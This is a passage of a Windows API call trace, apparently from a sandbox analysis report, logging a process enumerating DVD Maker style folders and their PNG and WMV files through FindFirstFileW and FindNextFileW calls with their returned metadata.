WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.903] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0242.904] ResetEvent (hEvent=0x118) returned 1 [0242.904] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0242.907] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0242.907] ResetEvent (hEvent=0x118) returned 1 [0242.907] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.052] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0243.052] ResetEvent (hEvent=0x118) returned 1 [0243.052] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.067] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0243.068] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0243.068] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0243.068] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0243.069] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0243.069] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0243.071] GetProcessHeap () returned 0x560000 [0243.071] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0243.071] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0243.071] GetProcessHeap () returned 0x560000 [0243.071] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0243.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0243.074] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.074] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0243.075] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0243.075] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0243.075] ResetEvent (hEvent=0x118) returned 1 [0243.075] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.085] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0243.085] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0243.085] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0243.086] ResetEvent (hEvent=0x118) returned 1 [0243.086] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.092] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0243.092] ResetEvent (hEvent=0x118) returned 1 [0243.092] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.101] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0243.101] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0243.102] ResetEvent (hEvent=0x118) returned 1 [0243.102] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.109] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0243.110] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0243.110] ResetEvent (hEvent=0x118) returned 1 [0243.110] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.114] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0243.114] ResetEvent (hEvent=0x118) returned 1 [0243.114] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.123] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0243.123] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0243.124] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0243.124] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0243.124] ResetEvent (hEvent=0x118) returned 1 [0243.124] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.128] ResetEvent (hEvent=0x118) returned 1 [0243.128] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.133] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0243.133] ResetEvent (hEvent=0x118) returned 1 [0243.134] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.140] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0243.140] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0243.140] ResetEvent (hEvent=0x118) returned 1 [0243.141] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.149] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0243.149] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0243.150] ResetEvent (hEvent=0x118) returned 1 [0243.150] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.153] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0243.153] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0243.156] GetProcessHeap () returned 0x560000 [0243.156] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0243.156] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0243.156] GetProcessHeap () returned 0x560000 [0243.156] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0243.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0243.159] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.159] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0243.159] ResetEvent (hEvent=0x118) returned 1 [0243.159] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.289] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0243.289] ResetEvent (hEvent=0x118) returned 1 [0243.290] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.297] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0243.297] ResetEvent (hEvent=0x118) returned 1 [0243.297] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0243.302] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, 